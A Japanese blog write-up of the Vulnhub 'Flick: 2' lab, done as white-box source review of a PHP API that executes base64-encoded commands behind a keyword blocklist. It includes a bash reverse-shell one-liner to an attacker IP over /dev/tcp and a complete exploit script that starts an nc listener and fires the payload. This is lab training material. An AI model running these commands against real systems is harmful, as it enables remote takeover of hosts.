【Vulnhub】Flick2をやってみた

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Flick2 - Remote Command Execution]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/flick2/)

#FLICK: 2
- サーバー名: Flick: 2
- リリース日: 2015年8月20日
- 作者: Leonjza
- シリーズ: Flick

#ディレクトリ構造
攻略に関係がないファイルを除外したディレクトリ構造

```
/usr/share/ngnix/serverchecker
├── public
│   └── index.php
├── server.php
├── bootstrap
│   └── app.php
├── app
│   ├── Http
│   │   ├── Controllers
│   │   │   └── Controller.php
│   │   ├── Middleware
│   │   │   ├── ApiAuth.php
│   │   │   └── ExampleMiddleware.php
│   │   └── routes.php
│   ├── Key.php
│   └── [other dirs/files]
├── database
│   ├── factories
│   ├── migrations
│   └── seeds
├── storage
│   ├── app
│   ├── database.sqlite
│   ├── framework
│   └── logs
└── vendor
    └── [other dirs/files]
```

`server.php`が外部からアクセス可能です。

```server.php
<?php
$uri = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));
if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) {
    return false;
}
require_once __DIR__.'/public/index.php';
```

関係している`public/index.php`を確認します。

```public/index.php
<?php
$app = require __DIR__.'/../bootstrap/app.php';
$app->run();
```

ルートファイル`/app/Http/routes.php`を確認します。

```/app/Http/routes.php
<?php
$app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) {

    // Return the registration status of a uuid
    $app->get('/cmd/{command}', function($command) use ($app) {

        if (base64_decode($command, true) === False)
            return response()
                ->json([
                    'status' => 'error',
                    'output' => 'Bad command format.'
                ]);

        // Get the command...
        $command = base64_decode($command);

        // ... and filter it
        $bad_commands = [
            'bash',
            ...,
            'nc',
            'netcat',
            'python',
        ];

        if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) {

            return response()
                ->json([
                    'status' => 'error',
                    'output' => 'Command \'' . $command . '\' contains a banned command.'
                ]);
        }

        $process = new Process($command);
        $process->run();

        if (!$process->isSuccessful()) {
            return response()
                ->json([
                    'status' => 'error',
                    'output' => $process->getErrorOutput()
                ]);
        }

        return response()
            ->json([
                'status' => 'ok',
                'command' => $command,
                'output' => $process->getOutput()
            ]);
    });
```


またコマンド実行にはAPIに対する認証が必要です。

```/app/Http/routes.php
$app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) {...}
```

`/app/Http/Middleware/ApiAuth.php`を開き、認証機能を確認します。

```/app/Http/Middleware/ApiAuth.php
<?php namespace App\Http\Middleware;

use Closure;
use Request;

class ApiAuth {
    public function handle($request, Closure $next)
    {

        if (!\App\Key::where(['uuid' => Request::header('X-UUID'), 'token' => Request::header('X-Token')])->first())
            return response()
                ->json(['error' => 'Invalid authentication headers.'], 401);

        return $next($request);
    }
} 
```

ApiAuth.phpはHTTPリクエストの`X-UUID`と`X-Token`が、`Key`オブジェクトに存在するかどうかを確認します。

```/app/Http/Middleware/ApiAuth.php
<?php namespace App;
use Illuminate\Database\Eloquent\Model;

class Key extends Model
{
    protected $fillable = ['uuid', 'token'];
}
```


認証済みセッションを登録するには、新しいkeyを作成する必要があり、新しいkeyを作成するには、適当なuuidを設定して、/register/new/にPOSTリクエストをおくる。トークンを取得後、次のリクエストを発行してリモートコマンドを実行します。

#認証バイパス
/app/Http/routes.phpでは、コマンドがブラックリスト方式で検証されています。

```/app/Http/routes.php
<?php
if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) {...}
```

このフィルターを回避するためにコマンドをbase64エンコードしスペースを区切り文字にします。

```
/do/cmd/$(echo -n '/bin/bash -i >& /dev/tcp/my_ip_address/444 0>&1' | base64)
```

最終的なエクスプロイトスクリプトは以下のようになります。

```exploit.sh
#!/bin/sh

# Varibale used, change them to fit your needs
target="flick2.local"
lport="444"
lhost="192.168.56.1"
uuid="00000-231234fds-sdffdg2-32"
proxy="-x http://127.0.0.1:8080"

printf "[*] Staring Listener on port $lport"
gnome-terminal -- nc -lvkp $lport 2>/dev/null
sleep 1
echo "DONE"

printf "[*] Loggin in..."
token=$(curl -ksi $proxy -v -H "Content-Type: application/json" -X POST -d "{\"uuid\":\"$uuid\"}" "http://$target/register/new")
echo "DONE"

printf "[*] Crafting reverse shell command"
curl -ksi $proxy -v -H "Content-Type: application/json" -H "X-UUID: $uuid" -H "X-Token: $token" -X GET "http://$target/do/cmd/$(echo -n \"/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1\" | base64)" &>/dev/null
sleep 1
echo "DONE"
```